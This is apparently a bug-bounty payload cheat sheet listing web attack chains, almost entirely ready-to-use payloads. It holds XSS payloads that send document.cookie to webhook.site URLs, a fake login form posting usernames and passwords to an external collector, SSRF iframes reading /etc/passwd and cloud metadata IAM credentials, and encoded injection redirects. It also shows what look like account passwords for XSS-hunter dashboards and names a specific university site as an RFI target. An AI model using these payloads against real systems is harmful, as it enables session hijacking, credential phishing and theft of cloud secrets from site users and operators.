# Bugs Chains

#### <mark style="color:yellow;">**Reflected XSS to Account Take Over**</mark>

* <mark style="color:green;">**<https://xss.report/dashboard>**</mark>   `swagpk Synack@3434`
* <mark style="color:green;">**<https://bxsshunter.com/dashboard>**</mark>  `Synack@3434`
* **`python3 -m http.server`**

```
'"><img src="x" onerror="document.location='https://webhook.site/7165e251-2ffe-450f-9132-06f74a722e43?cookie='+document.cookie">
'"><img src=x onerror="document.location='https://webhook.site/7165e251-2ffe-450f-9132-06f74a722e43?c='+document.cookie;">
'"><script>document.write('<img src="https://webhook.site/33f747e2-fdb7-468d-b3ae-d114d94e2219?cookie='+document.cookie+'"/>')</script>
```

#### <mark style="color:yellow;">Open Redirect to DOM XSS</mark>

<pre><code>redirectUrl=javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
<strong>redirectUrl=javascript:top[/al/.source+/ert/.source](document.cookie)
</strong>redirectUrl=javascript:confirm(document.cookie)
redirectUrl=&#x3C;>javascript:alert(origin);
</code></pre>

#### <mark style="color:yellow;">DOM XSS to (RFI) Remote File Inclusion</mark>

```
http://lms.ue.edu.pk/WebTop/Home.aspx?body=https://rfi.nessus.org/rfi.txt
```

#### <mark style="color:yellow;">Open Redirect to Account take Over via Access token</mark>

```
j%09avascript:document.location=%27https://webhook.site/88322504-926e-477c-a16e-5c6ba6b24b7a/%27%2bdocument.cookie
```

#### <mark style="color:yellow;">**Reflected**</mark> <mark style="color:yellow;"></mark><mark style="color:yellow;">XSS to Open Redirect</mark>

```
'"><svg/onload="location.replace('https://evil.com')"
<script>document.location.href="https://evil.com/"</script>
<k AutoFocus contenteditable OnFocus="location.replace('https://evil.com')">
```

#### <mark style="color:yellow;">Stored XSS to SSRF in PDF generator</mark>

```
<iframe src="file:///etc/passwd">
'"><iframe src="file:///C:/windows/System32/drivers/etc/hosts">
<iframe src="http://169.254.169.254/latest/meta-data/">
<iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
```

#### <mark style="color:yellow;">DOM XSS to Account Take Over</mark>

```
javascript:document.location=%27https://webhook.site/fd59355e-845b-4462-894a-c6809633adab/%27%2bdocument.cookie
```

#### <mark style="color:yellow;">HTML  Injection to Phishing Steal Credentials to Accont Take Over</mark>

```
'><h3>Please login to proceed</h3> <form action=https://webhook.site/33f747e2-fdb7-468d-b3ae-d114d94e2219>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Login"></br> 
```

#### <mark style="color:yellow;">HTML  Injection to Open Redirect</mark>

```
"><meta http-equiv="Refresh" content="0; url='https://evil.com'"/>

```

#### <mark style="color:yellow;">SQLI to Open Redirect</mark>

<pre><code><strong>
</strong><strong>0x27223E3C7376672F6F6E6C6F61643D226C6F636174696F6E2E7265706C616365282768747470733A2F2F6576696C2E636F6D272922
</strong>0x3C7376672F6F6E6C6F61643D226C6F636174696F6E2E7265706C616365282768747470733A2F2F6F70656E627567626F756E74792E6F7267272922
</code></pre>
